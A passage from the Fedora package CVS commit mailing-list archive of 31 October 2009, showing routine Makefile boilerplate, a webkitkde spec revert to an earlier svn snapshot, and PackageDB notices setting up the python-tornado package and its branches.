for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From nucleo at fedoraproject.org  Sat Oct 31 23:55:08 2009
From: nucleo at fedoraproject.org (nucleo)
Date: Sat, 31 Oct 2009 23:55:08 +0000 (UTC)
Subject: rpms/webkitkde/devel sources,1.3,1.4 webkitkde.spec,1.3,1.4
Message-ID: <20091031235508.2C3B711C00EF@cvs1.fedora.phx.redhat.com>

Author: nucleo

Update of /cvs/pkgs/rpms/webkitkde/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32095

Modified Files:
	sources webkitkde.spec 
Log Message:
revert to svn snapshot 1027811


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/webkitkde/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	31 Oct 2009 14:10:19 -0000	1.3
+++ sources	31 Oct 2009 23:55:07 -0000	1.4
@@ -1 +1 @@
-4b3386fd3698bd6c0f572f933977532d  webkitkde-0.0.1-svn.tar.bz2
+eccfb5d3f6c973f18b4b55cb01789756  webkitkde-0.0.1-svn.tar.bz2


Index: webkitkde.spec
===================================================================
RCS file: /cvs/pkgs/rpms/webkitkde/devel/webkitkde.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- webkitkde.spec	31 Oct 2009 14:10:20 -0000	1.3
+++ webkitkde.spec	31 Oct 2009 23:55:07 -0000	1.4
@@ -1,6 +1,6 @@
 Name:             webkitkde
 Version:          0.0.1
-Release:          0.3.20091031svn%{?dist}
+Release:          0.4.20090924svn%{?dist}
 Summary:          QtWebKit bindings to KDE
 Group:            System Environment/Libraries
 License:          LGPLv2+
@@ -131,8 +131,8 @@ fi
 %{_kde4_appsdir}/cmake/modules/FindWebKitPart.cmake
 
 %changelog
-* Sat Oct 31 2009 Alexey Kurov <nucleo at fedoraproject.org> - 0.0.1-0.3.20091031svn
-- svn snapshot 1042864
+* Sat Oct 31 2009 Alexey Kurov <nucleo at fedoraproject.org> - 0.0.1-0.4.20090924svn
+- revert to svn snapshot 1027811
 
 * Sun Sep 27 2009 Alexey Kurov <nucleo at fedoraproject.org> - 0.0.1-0.2.20090924svn
 - webkitpart should owns kpartplugins in webkitpart apps dir



From pkgdb at fedoraproject.org  Sat Oct 31 23:56:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:56:33 +0000
Subject: [pkgdb] python-tornado was added for mapleoin
Message-ID: <20091031235633.EAE9A10F849@bastion2.fedora.phx.redhat.com>

kevin has added Package python-tornado with summary Scalable, non-blocking web server and tools
kevin has approved Package python-tornado
kevin has added a Fedora devel branch for python-tornado with an owner of mapleoin
kevin has approved python-tornado in Fedora devel
kevin has approved Package python-tornado
kevin has set commit to Approved for 107427 on python-tornado (Fedora devel)
kevin has set checkout to Approved for 107427 on python-tornado (Fedora devel)
kevin has set build to Approved for 107427 on python-tornado (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-tornado



From pkgdb at fedoraproject.org  Sat Oct 31 23:56:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:56:35 +0000
Subject: [pkgdb] python-tornado summary updated by kevin
Message-ID: <20091031235635.5222510F867@bastion2.fedora.phx.redhat.com>

kevin set package python-tornado summary to Scalable, non-blocking web server and tools

To make changes to this package see:
  /pkgdb/packages/name/python-tornado



From pkgdb at fedoraproject.org  Sat Oct 31 23:56:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:56:35 +0000
Subject: [pkgdb] python-tornado (Fedora, 11) updated by kevin
Message-ID: <20091031235635.5A60C10F871@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for python-tornado
kevin has set commit to Approved for 107427 on python-tornado (Fedora 11)
kevin has set checkout to Approved for 107427 on python-tornado (Fedora 11)
kevin has set build to Approved for 107427 on python-tornado (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-tornado



From pkgdb at fedoraproject.org  Sat Oct 31 23:56:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:56:35 +0000
Subject: [pkgdb] python-tornado (Fedora, 11) updated by kevin
Message-ID: <20091031235635.7142910F846@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for python-tornado
kevin has set commit to Approved for 107427 on python-tornado (Fedora 12)
kevin has set checkout to Approved for 107427 on python-tornado (Fedora 12)
kevin has set build to Approved for 107427 on python-tornado (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-tornado



From kevin at fedoraproject.org  Sat Oct 31 23:56:51 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:56:51 +0000 (UTC)
Subject: rpms/python-tornado - New directory
Message-ID: <20091031235651.4EE4911C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-tornado
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx32591/rpms/python-tornado

Log Message:
Directory /cvs/pkgs/rpms/python-tornado added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:56:51 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:56:51 +0000 (UTC)
Subject: rpms/python-tornado/devel - New directory
Message-ID: <20091031235651.7506711C0349@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-tornado/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx32591/rpms/python-tornado/devel

Log Message:
Directory /cvs/pkgs/rpms/python-tornado/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:57:06 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:57:06 +0000 (UTC)
Subject: rpms/python-tornado Makefile,NONE,1.1
Message-ID: <20091031235706.C211B11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-tornado
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx32591/rpms/python-tornado

Added Files:
	Makefile 
Log Message:
Setup of module python-tornado


--- NEW FILE Makefile ---
# Top level Makefile for module python-tornado
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 31 23:57:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:57:07 +0000 (UTC)
Subject: rpms/python-tornado/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091031235707.24BEC11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-tornado/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx32591/rpms/python-tornado/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module python-tornado


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: python-tornado
# $Id: Makefile,v 1.1 2009/10/31 23:57:06 kevin Exp $
NAME := python-tornado
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---